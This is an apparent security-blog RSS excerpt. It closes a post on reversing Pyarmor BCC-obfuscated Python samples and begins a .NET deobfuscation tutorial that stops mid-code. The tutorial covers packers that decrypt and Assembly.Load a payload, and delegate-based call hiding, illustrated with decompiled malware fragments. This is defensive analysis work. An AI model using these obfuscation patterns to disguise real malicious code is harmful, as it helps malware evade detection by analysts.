&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8LL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8LL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// last one in co_consts&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sys_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// aka v4 + 24&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sys_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;exit_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// aka v4 + 24 + 8&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;exit_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, it would be quite annoying to have to manually look up every single constant, especially in larger methods with dozens of values.
We developed an IDA script that works with the output of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bcc_info.py&lt;/code&gt; script and adds comments to all constant references in the decompiler view (&lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling/blob/main/ida_annotate_bcc.py&quot;&gt;ida_annotate_bcc.py on GitHub&lt;/a&gt;).
As an added bonus, it creates and names functions in the ELF if they don’t exist yet.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;Analyzing samples protected with BCC mode can be a formidable challenge, especially without tooling support.
The translation to C makes any existing tools that work with Python bytecode completely useless, and the clever separation of code and data adds further complications.&lt;/p&gt;

&lt;p&gt;We hope that this research and the support scripts we’ve provided will prove helpful to the community in analyzing threats protected with this obfuscation.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Pyarmor-Tooling repository on GitHub: &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 30 May 2025 12:30:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/05/30/pyarmor-bcc-notes/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/05/30/pyarmor-bcc-notes/</guid>
        
        <category>pyarmor</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>.NET Deobfuscation</title>
        <description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;In the last post, we ended up with a couple .NET Framework malware samples that had obfuscation applied to them.&lt;/p&gt;

&lt;p&gt;.NET is a runtime environment that executes intermediate code (CIL) in a managed way, using a just-in-time compiler to translate it into native machine code at runtime.
In order to make that possible, a .NET binary (more commonly called &lt;em&gt;assembly&lt;/em&gt;) has clearly laid out information about contained types, fields, methods, and more.
In short, there’s much more structure and less ambiguity when compared to native binaries, and there is very mature tooling support for working with those structures programmatically.&lt;/p&gt;

&lt;p&gt;This post will provide an overview over a couple of obfuscation techniques that are commonly encountered in .NET assemblies and how to deal with them.
Often, you’ll find tools that automatically deobfuscate everything for you, but the question is, what if those tools aren’t working correctly in your particular case?
It’s good to know how exactly they work their magic and, if required, to be able to fix or extend them.
At times, this post will take on a tutorial-like tone, because there are not many resources at all that explain how to extend de4dot.&lt;/p&gt;

&lt;h1 id=&quot;common-obfuscation-techniques&quot;&gt;Common obfuscation techniques&lt;/h1&gt;

&lt;p&gt;Our survey of techniques won’t be exhaustive, we will just look at some of the most commonly used ones.&lt;/p&gt;

&lt;p&gt;We’ll be working with &lt;a href=&quot;#de4dot-situation&quot;&gt;de4dot&lt;/a&gt;’s code, because it’s an excellent framework for .NET code deobfuscation.
It provides many little helpers and strategies that can be easily customized/extended to undo most common types of obfuscation.&lt;/p&gt;

&lt;h2 id=&quot;technique-packing&quot;&gt;Technique: Packing&lt;/h2&gt;

&lt;p&gt;The classic. The actual malware is encrypted and/or compressed, unpacked into memory at runtime, and then loaded into the process.
In most cases, this involves a more or less obvious call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Assembly.Load&lt;/code&gt;, followed by some reflection code to invoke a method and begin execution.&lt;/p&gt;

&lt;p&gt;Take, for example, the following decompiled code:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SetupConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ResolverParamWrapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SortConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ResolverParamWrapper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;factory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;QueryConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;First&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;InvokeMember&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MapperFactoryAdapter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;LoginConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;857235653&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1181772793&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;{&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b736177&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;9522&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a461&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;378&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c599d9c8d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_a5d71990efab4dc4a1801d81bc710517&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_327fb7ca8cde492882cd8691cd3b5b85&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BindingFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InvokeMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Assembly&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SortConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Assembly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParamsConsumerComp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ResetConnection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetupConnection()&lt;/code&gt; is directly called by the entry point of the packed malware.&lt;/p&gt;

&lt;p&gt;Essentially, we have the following sequence of events:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SortConnection()&lt;/code&gt; is called.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ResetConnection()&lt;/code&gt; is called to retrieve a byte array. If we were to look into that method, we’d see a huge byte array of around 300 KB and some crypto logic.&lt;/li&gt;
  &lt;li&gt;The byte array is loaded as a new .NET assembly and returned.&lt;/li&gt;
  &lt;li&gt;Back in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetupConnection()&lt;/code&gt;, a type is looked up based on some criteria.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InvokeMember&lt;/code&gt; is used on the type to get execution going.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you’re wondering about the absurd method names: the obfuscator probably auto-generated them in some fashion to make things look somewhat legit when taking a very superficial glance.&lt;/p&gt;

&lt;p&gt;Apart from some light obfuscation (you might have noticed the XOR operations and long hexadecimal field names, which are part of a string encryption mechanism), this could be called a text book example of .NET packing.
Sometimes it won’t be quite so easy to spot - for example, the assembly loading could be buried deep into the call tree or control flow flattening might have been applied.&lt;/p&gt;

&lt;p&gt;The most straight-forward way of dealing with this is to load the sample in &lt;a href=&quot;https://github.com/dnSpyEx/dnSpy&quot;&gt;dnSpyEx&lt;/a&gt;, set a breakpoint in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Assembly.Load&lt;/code&gt;, and save the unpacked byte array to disk.&lt;/p&gt;

&lt;p&gt;Alternatively, a tool like &lt;a href=&quot;https://github.com/advanced-threat-research/DotDumper&quot;&gt;DotDumper&lt;/a&gt; could prove useful, especially in cases where the assembly loading part isn’t blatantly obvious in the packer.
DotDumper is a neat tool in general, since it can reveal quite a lot about a sample via hooking and detailed logging.&lt;/p&gt;

&lt;h2 id=&quot;technique-delegates--proxies&quot;&gt;Technique: Delegates / Proxies&lt;/h2&gt;

&lt;p&gt;Using delegates is a very popular technique to obfuscate method calls that are being made.
The way this works is to wrap the call into an object (the delegate) and invoking the delegate instead of the original method.
The severity of this obfuscation can range from ‘annoying’, where you can see what’s being called by just checking where the object is constructed, to ‘impossible by hand’, where it’s not possible to discern the call target without tooling support.&lt;/p&gt;

&lt;p&gt;A simplistic example might look like this:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;delegate&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ObfuscatedDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;CallMe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;CallMe was called!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ObfuscatedDelegate&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obfuscatedCall&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ObfuscatedDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CallMe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;obfuscatedCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The construction of the delegate object doesn’t necessarily need to happen directly before the call; it could also be initialized as a static variable, for example, and then be used whenever &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CallMe&lt;/code&gt; should be called.
You can see how this adds an indirection, because you need to look elsewhere for what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obfuscatedCall()&lt;/code&gt; actually means.
For a single method it’s manageable, but often enough, &lt;strong&gt;all&lt;/strong&gt; calls in the assembly will get this treatment.&lt;/p&gt;

&lt;p&gt;In the following we have a more complicated example, where each call target gets its own separate class:&lt;/p&gt;
&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sealed&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MulticastDelegate&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Invoke&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;A_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;A_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;A_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IntPtr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;RateIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TypeHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CountIssuer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the accompanying call:&lt;/p&gt;
&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SpecificationValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CountIssuer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see the method is supposed to take an object and returns a boolean, but we can’t see what function is actually called.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WriteWorker&lt;/code&gt; takes the original call arguments plus an instance of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SepcificationValue&lt;/code&gt; class, which is taken from the static &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CountIssuer&lt;/code&gt; field, and then calls the delegate.
However, the field does not have an apparent value assigned to it.
We can see that the static constructor is doing &lt;em&gt;something&lt;/em&gt;, and quite conspicuously, it passes a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TypeHandle&lt;/code&gt; parameter, which is an indication that reflection is used to dynamically manipulate the class at runtime.
It stands to reason that this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt; call is responsible for assigning a value to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CountIssuer&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;RateIndexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RuntimeTypeHandle&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typeFromHandle&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetTypeFromHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_InterpreterModel&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;lock&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AnnotationParserInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_SpecificationModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
